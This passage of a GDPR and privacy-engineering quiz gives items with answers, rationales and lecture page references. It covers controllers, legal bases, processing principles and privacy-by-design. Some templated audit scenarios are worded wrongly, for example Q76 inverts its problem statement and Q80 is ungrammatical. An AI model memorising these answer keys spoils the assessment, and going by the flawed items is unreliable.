- C. Privacy rights concern organizations only and not natural persons
- D. Privacy and data protection are fundamental rights, but neither should be reduced to one technical control

Answer: D. Privacy and data protection are fundamental rights, but neither should be reduced to one technical control

Why: Fundamental-rights concepts are broader than any single technical measure.

Lecture source: pp. 8, 27

2. GDPR scope, governance, roles, and international reach

29 questions. Correct answers and explanations appear immediately below each item.

Q29. [Single answer] Which definition best matches personal data under the GDPR?

- A. Only a passport number or national identification number
- B. Any information relating to an identified or identifiable natural person
- C. Any information relating to a legal entity, regardless of whether a natural person is identifiable
- D. Only encrypted customer records

Answer: B. Any information relating to an identified or identifiable natural person

Why: The lecture emphasizes that the scope of personal data is broad and relates to identified or identifiable natural persons.

Lecture source: p. 19

Q30. [Single answer] Which statement about personal-data processing is correct?

- A. Erasure is outside the definition of processing
- B. Manual operations can fall within the definition of processing
- C. Only machine-learning analysis counts as processing
- D. Storage is outside the definition of processing

Answer: B. Manual operations can fall within the definition of processing

Why: Processing is broad and includes automated and manual operations such as collection, storage, consultation, use, restriction, erasure, and destruction.

Lecture source: p. 19

Q31. [Select all that apply] Which activities can count as processing personal data? Select all that apply.

- A. Storage
- B. Only encryption-key generation with no personal data involved
- C. Destruction
- D. Collection
- E. Disclosure by transmission
- F. Erasure
- G. Consultation

Answer: A. Storage; C. Destruction; D. Collection; E. Disclosure by transmission; F. Erasure; G. Consultation

Why: Processing is defined broadly and includes many operations, including deletion-related operations.

Lecture source: p. 19

Q32. [Single answer] Which statement best distinguishes a data controller from a data processor?

- A. Controllers and processors are identical roles with no legal distinction
- B. The controller determines the purpose and essential means of processing; the processor acts on the controller's behalf
- C. The processor always owns the personal data and the controller merely stores backups
- D. The controller handles only anonymous data and the processor handles only encrypted data

Answer: B. The controller determines the purpose and essential means of processing; the processor acts on the controller's behalf

Why: Controllers are responsible for why and how personal data is processed. Processors perform processing on behalf of controllers.

Lecture source: p. 22

Q33. [Scenario] A retailer decides why customer profiles are created and hires a cloud provider to host and analyze the profiles under contract. Which role assignment is most accurate?

- A. Neither role applies because processing is outsourced
- B. Both are anonymous-data recipients only
- C. The retailer is the controller and the cloud provider is a processor
- D. The cloud provider is the controller solely because it owns servers

Answer: C. The retailer is the controller and the cloud provider is a processor

Why: Outsourcing processing does not remove the controller role. A processor acts on behalf of the controller.

Lecture source: p. 22

Q34. [Single answer] Why are contracts or legally binding arrangements commonly relevant between controllers and processors?

- A. Because processors act on behalf of controllers within supply chains and require governed obligations
- B. Because contracts eliminate all security risks
- C. Because contracts convert personal data into anonymous data
- D. Because processors automatically become supervisory authorities

Answer: A. Because processors act on behalf of controllers within supply chains and require governed obligations

Why: Controller-processor relationships generally require a contract or similar binding arrangement.

Lecture source: p. 22

Q35. [Single answer] Which governance statement is most accurate?

- A. The EDPB replaces all national authorities in every operational matter
- B. Every controller is its own supervisory authority
- C. Data-protection governance applies only to law-enforcement agencies
- D. National data-protection authorities operate in member states, with EU-level coordination through the EDPB

Answer: D. National data-protection authorities operate in member states, with EU-level coordination through the EDPB

Why: The governance model includes public-sector DPAs and EU-level coordination through the European Data Protection Board.

Lecture source: pp. 17-18

Q36. [Single answer] Which statement best describes the GDPR as an EU legal instrument?

- A. It is a regulation that is directly applicable in member-state jurisdictions, while still allowing limited national adaptations
- B. It is merely a voluntary engineering guideline
- C. It forbids member states from having any national data-protection law
- D. It is a directive that has no direct applicability

Answer: A. It is a regulation that is directly applicable in member-state jurisdictions, while still allowing limited national adaptations

Why: The GDPR is directly applicable as a regulation, but member states retain some leeway in specified areas.

Lecture source: p. 16

Q37. [Select all that apply] Which areas may involve national flexibility or restrictions under the GDPR framework? Select all that apply.

- A. Criminal matters
- B. Legal obligations and public interests
- C. A blanket right for organizations to ignore all principles
- D. Sensitive personal data
- E. National security and defense

Answer: A. Criminal matters; B. Legal obligations and public interests; D. Sensitive personal data; E. National security and defense

Why: The lecture lists these as examples of areas where national leeway or restrictions can exist.

Lecture source: p. 16

Q38. [Single answer] Which statement best captures the GDPR's two broad goals?

- A. Protect corporations only and prohibit data-subject rights
- B. Replace all security engineering with legal documentation
- C. Protect natural persons and facilitate the free flow of personal data across the EU
- D. Prevent every cross-border data transfer and eliminate data processing

Answer: C. Protect natural persons and facilitate the free flow of personal data across the EU

Why: The GDPR is both protective and harmonizing, supporting a fair European data economy.

Lecture source: p. 14

Q39. [Single answer] Which change is associated with the GDPR in the big picture?

- A. Data-subject rights, controller duties, supervisory power, and harmonization all increased
- B. Personal data became limited to direct identifiers only
- C. Controller duties disappeared because processors became solely responsible
- D. National authorities lost every enforcement power

Answer: A. Data-subject rights, controller duties, supervisory power, and harmonization all increased

Why: The lecture summarizes the big-picture changes in these four directions.

Lecture source: p. 15

Q40. [Scenario] A company outside the EU offers an online subscription service to European natural persons and processes their personal data. Which statement is most accurate?

- A. The GDPR applies only to governmental organizations
- B. The GDPR applies only if the company has a physical office in every member state
- C. The GDPR cannot apply outside the EU under any circumstances
- D. The GDPR may apply because offering goods or services to Europeans can trigger its extraterritorial scope

Answer: D. The GDPR may apply because offering goods or services to Europeans can trigger its extraterritorial scope

Why: The GDPR can apply extraterritorially when organizations offer goods or services to European natural persons.

Lecture source: p. 23

Q41. [Scenario] An EU-based service plans to transfer personal data to a non-EU country. Which concept is most directly relevant?

- A. Whether the destination country uses the same currency
- B. Whether the data is displayed in a dark-mode user interface
- C. Adequacy of personal-data protection in the destination country
- D. Whether every data subject uses the same password manager

Answer: C. Adequacy of personal-data protection in the destination country

Why: International transfers require careful legal analysis. The lecture emphasizes adequacy as a general route for transfers outside the EU.

Lecture source: p. 24

Q42. [Single answer] Which concept provides a foundation for consent in data protection?

- A. Network address translation
- B. Informational self-determination
- C. Packet filtering
- D. Code obfuscation

Answer: B. Informational self-determination

Why: Informational self-determination concerns a person's fundamental but non-absolute right to determine how personal data is collected and used.

Lecture source: p. 25

Q43. [True / False] The GDPR applies only to organizations physically located within the EU.

A. True

B. False

Answer: B. False

Why: The GDPR has extraterritorial reach in specified circumstances, including offering goods or services to Europeans.

Lecture source: p. 23

Q44. [True / False] Outsourcing personal-data processing to a third party always removes the original organization's controller responsibilities.

A. True

B. False

Answer: B. False

Why: Controllers remain responsible for lawfulness and purpose even when processors perform outsourced operations.

Lecture source: p. 22

Q45. [True / False] A joint-controller arrangement is conceptually possible.

A. True

B. False

Answer: A. True

Why: The lecture explicitly notes that joint controllers exist.

Lecture source: p. 22

Q46. [True / False] The scope of personal data is narrower than a traditional direct-identifier-only view.

A. True

B. False

Answer: B. False

Why: The GDPR concept is broad: any information relating to an identified or identifiable natural person.

Lecture source: p. 19

Q47. [True / False] A transfer of personal data to a non-EU country is never legally possible.

A. False

B. True

Answer: A. False

Why: International transfers can be possible under legal conditions, including adequacy considerations.

Lecture source: p. 24

Q48. [Classification] Which special category of personal data is most directly involved in this scenario: A profiling dataset records a natural person's racial or ethnic origin?

A. Political opinions

B. Racial or ethnic origin

C. Trade-union membership

D. Religious or philosophical beliefs

Answer: B. Racial or ethnic origin

Why: The scenario involves a category identified as sensitive personal data.

Lecture source: p. 20

Q49. [Classification] Which special category of personal data is most directly involved in this scenario: A platform records the political opinions of identifiable users?

- A. Trade-union membership
- B. Racial or ethnic origin
- C. Religious or philosophical beliefs
- D. Political opinions

Answer: D. Political opinions

Why: The scenario involves a category identified as sensitive personal data.

Lecture source: p. 20

Q50. [Classification] Which special category of personal data is most directly involved in this scenario: A dataset records identifiable users' religious or philosophical beliefs?

- A. Religious or philosophical beliefs
- B. Racial or ethnic origin
- C. Trade-union membership
- D. Political opinions

Answer: A. Religious or philosophical beliefs

Why: The scenario involves a category identified as sensitive personal data.

Lecture source: p. 20

Q51. [Classification] Which special category of personal data is most directly involved in this scenario: An employer stores a list of employees who belong to a trade union?

- A. Political opinions
- B. Religious or philosophical beliefs
- C. Racial or ethnic origin
- D. Trade-union membership

Answer: D. Trade-union membership

Why: The scenario involves a category identified as sensitive personal data.

Lecture source: p. 20

Q52. [Classification] Which special category of personal data is most directly involved in this scenario: A research database stores genetic data linked to natural persons?

- A. Political opinions
- B. Genetic data
- C. Racial or ethnic origin
- D. Religious or philosophical beliefs

Answer: B. Genetic data

Why: The scenario involves a category identified as sensitive personal data.

Lecture source: p. 20

Q53. [Classification] Which special category of personal data is most directly involved in this scenario: A building-access system processes fingerprints to uniquely identify individuals?

- A. Religious or philosophical beliefs
- B. Biometric data used for unique identification
- C. Racial or ethnic origin
- D. Political opinions

Answer: B. Biometric data used for unique identification

Why: The scenario involves a category identified as sensitive personal data.

Lecture source: p. 20

Q54. [Classification] Which special category of personal data is most directly involved in this scenario: A clinic stores patient diagnoses and treatment information?

- A. Racial or ethnic origin
- B. Religious or philosophical beliefs
- C. Political opinions
- D. Health data

Answer: D. Health data

Why: The scenario involves a category identified as sensitive personal data.

Lecture source: p. 20

Q55. [Classification] Which special category of personal data is most directly involved in this scenario: A service processes information about an identifiable person's sex life or sexual orientation?

- A. Racial or ethnic origin
- B. Religious or philosophical beliefs
- C. Political opinions
- D. Sex life or sexual orientation

Answer: D. Sex life or sexual orientation

Why: The scenario involves a category identified as sensitive personal data.

Lecture source: p. 20

Q56. [Select all that apply] Which categories are treated as sensitive personal data in the lecture? Select all that apply.

- A. Health data
- B. Biometric data used for unique identification
- C. Genetic data
- D. Political opinions
- E. A generic product SKU with no relation to a natural person
- F. Trade-union membership

Answer: A. Health data; B. Biometric data used for unique identification; C. Genetic data; D. Political opinions; F. Trade-union membership

Why: Sensitive categories include health, genetic, qualifying biometric, political-opinion, and trade-union data among others.

Lecture source: p. 20

Q57. [Scenario] A person has publicly disclosed sensitive information on social media. Which statement is most accurate?

- A. Every organization may process it for any purpose without restriction
- B. The information automatically stops being personal data for every purpose
- C. Public disclosure may be relevant to an exception, but processing still requires careful legal analysis
- D. Security controls are no longer needed

Answer: C. Public disclosure may be relevant to an exception, but processing still requires careful legal analysis

Why: Article 9 includes exceptions, and information made public by a person may be relevant. This does not justify indiscriminate processing.

Lecture source: p. 20

3. Legal bases, processing principles, and risk-appropriate security

35 questions. Correct answers and explanations appear immediately below each item.

Q58. [Classification] Which legal basis is the best fit for this processing scenario: A newsletter service asks a person to make an informed choice before using the email address for a subscription?

- A. Public interest
- B. Contract
- C. Vital interests
- D. Legitimate interests
- E. Consent
- F. Legal obligation

Answer: E. Consent

Why: The scenario most directly matches the consent legal basis.

Lecture source: p. 26

Q59. [Classification] Which legal basis is the best fit for this processing scenario: An employer processes payroll information necessary to fulfill an employment agreement?

- A. Consent
- B. Legal obligation
- C. Legitimate interests
- D. Contract
- E. Vital interests
- F. Public interest

Answer: D. Contract

Why: The scenario most directly matches the contract legal basis.

Lecture source: p. 26

Q60. [Classification] Which legal basis is the best fit for this processing scenario: An organization processes records because a binding law requires it?

- A. Vital interests
- B. Legal obligation
- C. Consent
- D. Legitimate interests
- E. Contract
- F. Public interest

Answer: B. Legal obligation

Why: The scenario most directly matches the legal obligation legal basis.

Lecture source: p. 26

Q61. [Classification] Which legal basis is the best fit for this processing scenario: Emergency healthcare staff process personal data to protect a patient's life?

- A. Legitimate interests
- B. Public interest
- C. Consent
- D. Contract
- E. Vital interests
- F. Legal obligation

Answer: E. Vital interests

Why: The scenario most directly matches the vital interests legal basis.

Lecture source: p. 26

Q62. [Classification] Which legal basis is the best fit for this processing scenario: A public education authority processes data for a justified public task?

- A. Legitimate interests
- B. Vital interests
- C. Legal obligation
- D. Consent
- E. Public interest
- F. Contract

Answer: E. Public interest

Why: The scenario most directly matches the public interest legal basis.

Lecture source: p. 26

Q63. [Classification] Which legal basis is the best fit for this processing scenario: A company relies on a business interest such as marketing after balancing it against natural persons' rights?

- A. Contract
- B. Vital interests
- C. Legal obligation
- D. Public interest
- E. Consent
- F. Legitimate interests

Answer: F. Legitimate interests

Why: The scenario most directly matches the legitimate interests legal basis.

Lecture source: p. 26

Q64. [Single answer] Which statement about selecting a legal basis is most accurate?

- A. A controller needs no legal basis if the data is stored in the cloud
- B. Consent is the only possible legal basis under the GDPR
- C. A controller should always select every available legal basis simultaneously
- D. A controller should identify one appropriate legal basis for the processing activity

Answer: D. A controller should identify one appropriate legal basis for the processing activity

Why: The lecture emphasizes selecting one legal basis; consent is one option among six.

Lecture source: p. 26

Q65. [Scenario] A company wants to rely on legitimate interests for targeted marketing. Which additional step is especially important?

- A. Collect as much unrelated personal data as possible
- B. Balance the organization's interest against the interests and rights of natural persons
- C. Assume that marketing automatically overrides every data-subject right
- D. Delete every privacy notice

Answer: B. Balance the organization's interest against the interests and rights of natural persons

Why: Legitimate interests are controversial and generally require balancing.

Lecture source: p. 26

Q66. [EXCEPT / NOT] Which is NOT one of the legal bases listed in the lecture?

- A. Vital interests
- B. Unlimited commercial curiosity
- C. Contract
- D. Public interests

Answer: B. Unlimited commercial curiosity

Why: Commercial curiosity is not a lawful basis.

Lecture source: p. 26

Q67. [Classification] Which processing principle is best represented by the following requirement: A service should clearly explain processing and avoid hidden or unfair practices?

- A. Accountability
- B. Security of processing
- C. Data minimization
- D. Lawful, fair, and transparent processing
- E. Accuracy
- F. Storage limitation
- G. Purpose limitation

Answer: D. Lawful, fair, and transparent processing

Why: The requirement is an application of lawful, fair, and transparent processing.

Lecture source: p. 28

Q68. [Scenario] An audit finds this problem: A service does not clearly explain processing and allows hidden or unfair practices. Which principle should the remediation plan prioritize?

- A. Storage limitation
- B. Purpose limitation
- C. Lawful, fair, and transparent processing
- D. Security of processing
- E. Accuracy
- F. Accountability
- G. Data minimization

Answer: C. Lawful, fair, and transparent processing

Why: The remediation should prioritize lawful, fair, and transparent processing.

Lecture source: p. 28

Q69. [Classification] Which processing principle is best represented by the following requirement: A team should use personal data only for specified purposes rather than unrelated secondary uses?

- A. Accountability
- B. Data minimization
- C. Accuracy
- D. Storage limitation
- E. Lawful, fair, and transparent processing
- F. Purpose limitation
- G. Security of processing

Answer: F. Purpose limitation

Why: The requirement is an application of purpose limitation.

Lecture source: p. 28

Q70. [Scenario] An audit finds this problem: A team does not use personal data only for specified purposes rather than unrelated secondary uses. Which principle should the remediation plan prioritize?

- A. Accountability
- B. Accuracy
- C. Lawful, fair, and transparent processing
- D. Security of processing
- E. Data minimization
- F. Purpose limitation
- G. Storage limitation

Answer: F. Purpose limitation

Why: The remediation should prioritize purpose limitation.

Lecture source: p. 28

Q71. [Classification] Which processing principle is best represented by the following requirement: A form should request only the personal data necessary for its intended function?

- A. Purpose limitation
- B. Security of processing
- C. Lawful, fair, and transparent processing
- D. Storage limitation
- E. Accountability
- F. Accuracy
- G. Data minimization

Answer: G. Data minimization

Why: The requirement is an application of data minimization.

Lecture source: p. 28

Q72. [Scenario] An audit finds this problem: A form does not request only the personal data necessary for its intended function. Which principle should the remediation plan prioritize?

- A. Security of processing
- B. Lawful, fair, and transparent processing
- C. Storage limitation
- D. Data minimization
- E. Accountability
- F. Accuracy
- G. Purpose limitation

Answer: D. Data minimization

Why: The remediation should prioritize data minimization.

Lecture source: p. 28

Q73. [Classification] Which processing principle is best represented by the following requirement: A system should support correction and avoid processing materially incorrect personal data?

- A. Lawful, fair, and transparent processing
- B. Accuracy
- C. Accountability
- D. Security of processing
- E. Data minimization
- F. Purpose limitation
- G. Storage limitation

Answer: B. Accuracy

Why: The requirement is an application of accuracy.

Lecture source: p. 28

Q74. [Scenario] An audit finds this problem: A system does not support correction and allows processing materially incorrect personal data. Which principle should the remediation plan prioritize?

- A. Storage limitation
- B. Data minimization
- C. Accuracy
- D. Accountability
- E. Lawful, fair, and transparent processing
- F. Purpose limitation
- G. Security of processing

Answer: C. Accuracy

Why: The remediation should prioritize accuracy.

Lecture source: p. 28

Q75. [Classification] Which processing principle is best represented by the following requirement: A system should avoid keeping identifiable personal data longer than necessary?

- A. Data minimization
- B. Storage limitation
- C. Lawful, fair, and transparent processing
- D. Purpose limitation
- E. Accountability
- F. Security of processing
- G. Accuracy

Answer: B. Storage limitation

Why: The requirement is an application of storage limitation.

Lecture source: p. 28

Q76. [Scenario] An audit finds this problem: A system does not allow keeping identifiable personal data longer than necessary. Which principle should the remediation plan prioritize?

- A. Accuracy
- B. Data minimization
- C. Lawful, fair, and transparent processing
- D. Accountability
- E. Security of processing
- F. Purpose limitation
- G. Storage limitation

Answer: G. Storage limitation

Why: The remediation should prioritize storage limitation.

Lecture source: p. 28

Q77. [Classification] Which processing principle is best represented by the following requirement: A controller should protect confidentiality, integrity, availability, and resilience appropriate to risk?

- A. Storage limitation
- B. Accuracy
- C. Accountability
- D. Purpose limitation
- E. Lawful, fair, and transparent processing
- F. Data minimization
- G. Security of processing

Answer: G. Security of processing

Why: The requirement is an application of security of processing.

Lecture source: p. 28

Q78. [Scenario] An audit finds this problem: A controller does not protect confidentiality, integrity, availability, and resilience appropriate to risk. Which principle should the remediation plan prioritize?

- A. Storage limitation
- B. Accuracy
- C. Lawful, fair, and transparent processing
- D. Purpose limitation
- E. Security of processing
- F. Accountability
- G. Data minimization

Answer: E. Security of processing

Why: The remediation should prioritize security of processing.

Lecture source: p. 28

Q79. [Classification] Which processing principle is best represented by the following requirement: A controller or processor should be able to demonstrate compliance and accept legal responsibility?

- A. Accountability
- B. Storage limitation
- C. Data minimization
- D. Security of processing
- E. Lawful, fair, and transparent processing
- F. Purpose limitation
- G. Accuracy

Answer: A. Accountability

Why: The requirement is an application of accountability.

Lecture source: p. 28

Q80. [Scenario] An audit finds this problem: A controller or processor does not be able to demonstrate compliance and accept legal responsibility. Which principle should the remediation plan prioritize?

- A. Lawful, fair, and transparent processing
- B. Security of processing
- C. Accountability
- D. Purpose limitation
- E. Data minimization
- F. Accuracy
- G. Storage limitation

Answer: C. Accountability

Why: The remediation should prioritize accountability.

Lecture source: p. 28

Q81. [Select all that apply] Which are GDPR processing principles emphasized in the lecture? Select all that apply.

- A. Security of processing
- B. Accountability
- C. Purpose limitation
- D. Accuracy
- E. Unlimited retention by default
- F. Data minimization

Answer: A. Security of processing; B. Accountability; C. Purpose limitation; D. Accuracy; F. Data minimization

Why: The principles include minimization, accuracy, purpose limitation, security, accountability, and additional fairness and retention-related requirements.

Lecture source: p. 28

Q82. [Scenario] A registration system requires a passport scan, precise GPS history, and family health records merely to create a basic discussion-forum account. Which principle is most clearly at risk?

- A. Data minimization
- B. Network segmentation only
- C. Availability
- D. Non-repudiation only

Answer: A. Data minimization

Why: The service appears to collect far more personal data than necessary for the purpose.

Lecture source: p. 28

Q83. [Scenario] A company collected addresses for delivery and later uses them for unrelated profiling without a justified basis. Which principle is most directly implicated?

- A. Packet inspection
- B. Storage availability
- C. Cryptographic key rotation
- D. Purpose limitation

Answer: D. Purpose limitation

Why: Personal data should be collected for specified purposes and not reused indiscriminately for unrelated ones.

Lecture source: pp. 11, 28

Q84. [Scenario] A controller has no process to update an incorrect mailing address after a data subject reports the mistake. Which principle is most directly implicated?

- A. Anonymity-set size
- B. Extraterritoriality
- C. Accuracy
- D. Breach-notification timing

Answer: C. Accuracy

Why: Processing should use accurate personal data and provide mechanisms for correction.

Lecture source: pp. 28, 61-63

Q85. [Scenario] A company can describe its privacy controls but cannot demonstrate that the controls operate or that responsibilities are assigned. Which principle is most directly implicated?

- A. Re-coding
- B. Purpose limitation
- C. Aggregation
- D. Accountability

Answer: D. Accountability

Why: Accountability includes being able to demonstrate compliance and responsibility.

Lecture source: pp. 28, 37-39, 44

Q86. [Single answer] Which statement best captures Article 32-style security expectations?

- A. Implement technical and organizational measures appropriate to the risk, considering context, likelihood, severity, state of the art, and cost
- B. Eliminate all logging because logs can contain personal data
- C. Treat privacy as unrelated to security engineering
- D. Use one mandatory algorithm in every system regardless of risk

Answer: A. Implement technical and organizational measures appropriate to the risk, considering context, likelihood, severity, state of the art, and cost

Why: The lecture presents security as risk-appropriate rather than as a universal one-size-fits-all checklist.

Lecture source: p. 33

Q87. [Select all that apply] Which considerations belong in a risk-appropriate security analysis? Select all that apply.

- A. The color of the organization's logo
- B. Likelihood and severity of risks to natural persons
- C. State of the art
- D. Context and purposes of processing
- E. Nature and scope of processing
- F. Implementation costs

Answer: B. Likelihood and severity of risks to natural persons; C. State of the art; D. Context and purposes of processing; E. Nature and scope of processing; F. Implementation costs

Why: Article 32-style reasoning is contextual and risk-based.

Lecture source: p. 33

Q88. [Select all that apply] Which measures are mentioned as examples of security considerations? Select all that apply.

- A. Ignoring incidents unless a fine has already been issued
- B. Testing
- C. Confidentiality, integrity, and availability
- D. Resilience
- E. Encryption
- F. Pseudonymization

Answer: B. Testing; C. Confidentiality, integrity, and availability; D. Resilience; E. Encryption; F. Pseudonymization

Why: The lecture names pseudonymization, encryption, the CIA triad, resilience, and testing among relevant measures.

Lecture source: p. 33

Q89. [Comparison] Which statement best distinguishes a security risk from a privacy risk?

- A. A data leak can be only a security risk and never a privacy risk
- B. The concepts never overlap
- C. Security risks can disrupt organizational functioning, while privacy risks concern violations of individuals' rights and liberties; some incidents overlap
- D. Privacy risks concern routers only, while security risks concern people only

Answer: C. Security risks can disrupt organizational functioning, while privacy risks concern violations of individuals' rights and liberties; some incidents overlap

Why: The lecture illustrates overlapping but distinct security and privacy risks.

Lecture source: p. 31

Q90. [Scenario] A security team wants extensive monitoring and logs, while a privacy team wants data minimization. What is the best design response?

- A. Balance the requirements and retain only justified monitoring data with safeguards and retention controls
- B. Always disable every log regardless of security needs
- C. Treat the requirements as unrelated and ignore both
- D. Always collect every possible event forever

Answer: A. Balance the requirements and retain only justified monitoring data with safeguards and retention controls

Why: Security monitoring and data minimization can create a trade-off that should be balanced, not resolved by an absolute rule.

Lecture source: p. 32

Q91. [True / False] The GDPR provides a detailed mandatory technical implementation for every security control.

- A. False
- B. True

Answer: A. False

Why: The GDPR states risk-based requirements but generally leaves technical solution design to engineers.

Lecture source: p. 33

Q92. [True / False] Security requirements should be selected without considering processing context or risks to natural persons.

- A. True
- B. False

Answer: B. False

Why: The lecture emphasizes a contextual risk-based approach.

Lecture source: p. 33

4. Privacy engineering, privacy-by-design, and assessment frameworks

29 questions. Correct answers and explanations appear immediately below each item.

Q93. [Single answer] What is the main idea of privacy engineering?

- A. Collect maximum data first and consider minimization later
- B. Systematically capture and address privacy issues while developing sociotechnical systems
- C. Replace all security controls with legal disclaimers
- D. Write a privacy policy after deployment and avoid architectural changes

Answer: B. Systematically capture and address privacy issues while developing sociotechnical systems

Why: Privacy engineering concerns methods, techniques, and tools for systematically addressing privacy in sociotechnical systems.

Lecture source: p. 35

Q94. [Comparison] Which statement best distinguishes privacy-by-architecture from privacy-by-policy?

- A. Privacy-by-architecture embeds protections into system design rather than relying only on written policies
- B. Privacy-by-policy is always stronger because software design is irrelevant
- C. The two terms mean that only lawyers should design software
- D. Privacy-by-architecture means hiding the system from users

Answer: A. Privacy-by-architecture embeds protections into system design rather than relying only on written policies

Why: The lecture encourages moving beyond policy-only approaches toward architecture designed with privacy in mind.

Lecture source: p. 35

Q95. [Classification] Which privacy-by-design principle is best illustrated by this design goal: Address privacy risks before incidents occur rather than waiting to repair harm?

- A. Privacy as the default setting
- B. Privacy embedded into design
- C. Full functionality - positive-sum, not zero-sum
- D. Respect for user privacy - keep it user-centric
- E. Visibility and transparency - keep it open
- F. Proactive not reactive; preventative not remedial
- G. End-to-end security - full lifecycle protection

Answer: F. Proactive not reactive; preventative not remedial

Why: The design goal matches proactive not reactive; preventative not remedial.

Lecture source: p. 36

Q96. [Classification] Which privacy-by-design principle is best illustrated by this design goal: Configure systems so that the privacy-preserving choice applies without requiring extra user action?

- A. End-to-end security - full lifecycle protection
- B. Visibility and transparency - keep it open
- C. Privacy embedded into design
- D. Proactive not reactive; preventative not remedial
- E. Full functionality - positive-sum, not zero-sum
- F. Respect for user privacy - keep it user-centric
- G. Privacy as the default setting

Answer: G. Privacy as the default setting

Why: The design goal matches privacy as the default setting.

Lecture source: p. 36

Q97. [Classification] Which privacy-by-design principle is best illustrated by this design goal: Build privacy into architecture and implementation rather than bolt it on afterward?

- A. Privacy embedded into design
- B. Respect for user privacy - keep it user-centric
- C. End-to-end security - full lifecycle protection
- D. Proactive not reactive; preventative not remedial
- E. Privacy as the default setting
- F. Visibility and transparency - keep it open
- G. Full functionality - positive-sum, not zero-sum

Answer: A. Privacy embedded into design

Why: The design goal matches privacy embedded into design.

Lecture source: p. 36

Q98. [Classification] Which privacy-by-design principle is best illustrated by this design goal: Seek designs that support privacy and legitimate functionality rather than assuming one must always defeat the other?

- A. Privacy as the default setting
- B. Full functionality - positive-sum, not zero-sum
- C. Proactive not reactive; preventative not remedial
- D. Respect for user privacy - keep it user-centric
- E. Visibility and transparency - keep it open
- F. End-to-end security - full lifecycle protection
- G. Privacy embedded into design

Answer: B. Full functionality - positive-sum, not zero-sum

Why: The design goal matches full functionality - positive-sum, not zero-sum.

Lecture source: p. 36

Q99. [Classification] Which privacy-by-design principle is best illustrated by this design goal: Protect personal data throughout collection, use, storage, transfer, and deletion?

- A. Respect for user privacy - keep it user-centric
- B. Privacy embedded into design
- C. Full functionality - positive-sum, not zero-sum
- D. Proactive not reactive; preventative not remedial
- E. Visibility and transparency - keep it open
- F. End-to-end security - full lifecycle protection
- G. Privacy as the default setting

Answer: F. End-to-end security - full lifecycle protection

Why: The design goal matches end-to-end security - full lifecycle protection.

Lecture source: p. 36

Q100. [Classification] Which privacy-by-design principle is best illustrated by this design goal: Make relevant processing and controls understandable rather than opaque?

- A. Proactive not reactive; preventative not remedial
- B. Respect for user privacy - keep it user-centric
- C. Visibility and transparency - keep it open
- D. Privacy embedded into design
- E. Full functionality - positive-sum, not zero-sum
- F. Privacy as the default setting
- G. End-to-end security - full lifecycle protection

Answer: C. Visibility and transparency - keep it open

Why: The design goal matches visibility and transparency - keep it open.

Lecture source: p. 36

Q101. [Classification] Which privacy-by-design principle is best illustrated by this design goal: Center design decisions on natural persons and their privacy interests?

- A. Proactive not reactive; preventative not remedial
- B. End-to-end security - full lifecycle protection
- C. Privacy as the default setting
- D. Respect for user privacy - keep it user-centric
- E. Full functionality - positive-sum, not zero-sum
- F. Visibility and transparency - keep it open
- G. Privacy embedded into design

Answer: D. Respect for user privacy - keep it user-centric

Why: The design goal matches respect for user privacy - keep it user-centric.

Lecture source: p. 36

Q102. [Select all that apply] Which ideas are part of privacy-by-design? Select all that apply.

- A. Visibility and transparency
- B. Reactive remediation as the only strategy
- C. User-centric design
- D. Positive-sum functionality
- E. End-to-end security
- F. Privacy as the default setting

Answer: A. Visibility and transparency; C. User-centric design; D. Positive-sum functionality; E. End-to-end security; F. Privacy as the default setting

Why: Privacy-by-design is proactive, embedded, lifecycle-oriented, transparent, positive-sum, and user-centric.

Lecture source: p. 36

Q103. [Classification] Which high-level privacy control is best represented by this requirement: Collect personal data only with granted authority and for a specific purpose?

- A. Use limitation
- B. Participation and redress
- C. Authority and purpose
- D. Security
- E. Data minimization and retention
- F. Transparency
- G. Data quality and integrity
- H. Accountability, auditing, and risk management

Answer: C. Authority and purpose

Why: The requirement maps to the authority and purpose control.

Lecture source: pp. 37-39

Q104. [Classification] Which high-level privacy control is best represented by this requirement: Perform audits, manage privacy risks, and remain accountable for data processing?

- A. Transparency
- B. Data quality and integrity
- C. Data minimization and retention
- D. Participation and redress
- E. Authority and purpose
- F. Accountability, auditing, and risk management
- G. Security
- H. Use limitation

Answer: F. Accountability, auditing, and risk management

Why: The requirement maps to the accountability, auditing, and risk management control.

Lecture source: pp. 37-39

Q105. [Classification] Which high-level privacy control is best represented by this requirement: Keep personal data correct and prevent unauthorized modification?

- A. Participation and redress
- B. Security
- C. Transparency
- D. Accountability, auditing, and risk management
- E. Authority and purpose
- F. Data quality and integrity
- G. Data minimization and retention
- H. Use limitation

Answer: F. Data quality and integrity

Why: The requirement maps to the data quality and integrity control.

Lecture source: pp. 37-39

Q106. [Classification] Which high-level privacy control is best represented by this requirement: Collect only what is needed and avoid indefinite storage?

- A. Participation and redress
- B. Transparency
- C. Use limitation
- D. Data minimization and retention
- E. Authority and purpose
- F. Data quality and integrity
- G. Security
- H. Accountability, auditing, and risk management

Answer: D. Data minimization and retention

Why: The requirement maps to the data minimization and retention control.

Lecture source: pp. 37-39

Q107. [Classification] Which high-level privacy control is best represented by this requirement: Support access, correction, complaints, and related data-subject participation?

- A. Accountability, auditing, and risk management
- B. Data minimization and retention
- C. Participation and redress
- D. Transparency
- E. Data quality and integrity
- F. Authority and purpose
- G. Use limitation
- H. Security

Answer: C. Participation and redress

Why: The requirement maps to the participation and redress control.

Lecture source: pp. 37-39

Q108. [Classification] Which high-level privacy control is best represented by this requirement: Protect personal data using appropriate safeguards?

- A. Data quality and integrity
- B. Data minimization and retention
- C. Accountability, auditing, and risk management
- D. Use limitation
- E. Transparency
- F. Authority and purpose
- G. Participation and redress
- H. Security

Answer: H. Security

Why: The requirement maps to the security control.

Lecture source: pp. 37-39

Q109. [Classification] Which high-level privacy control is best represented by this requirement: Provide accessible privacy information such as privacy policies?

- A. Security
- B. Data minimization and retention
- C. Authority and purpose
- D. Data quality and integrity
- E. Participation and redress
- F. Transparency
- G. Accountability, auditing, and risk management
- H. Use limitation

Answer: F. Transparency

Why: The requirement maps to the transparency control.

Lecture source: pp. 37-39

Q110. [Classification] Which high-level privacy control is best represented by this requirement: Limit sharing and secondary uses to justified conditions?

- A. Data quality and integrity
- B. Use limitation
- C. Security
- D. Participation and redress
- E. Data minimization and retention
- F. Accountability, auditing, and risk management
- G. Authority and purpose
- H. Transparency

Answer: B. Use limitation

Why: The requirement maps to the use limitation control.

Lecture source: pp. 37-39

Q111. [Scenario] A team conducts privacy audits and evaluates impact and probability before launching a new data service. Which privacy-control theme is most directly involved?

- A. Re-coding only
- B. Accountability, auditing, and risk management
- C. Availability only
- D. Use limitation only

Answer: B. Accountability, auditing, and risk management

Why: The framework links accountability, audits, and risk management, including impact assessments.

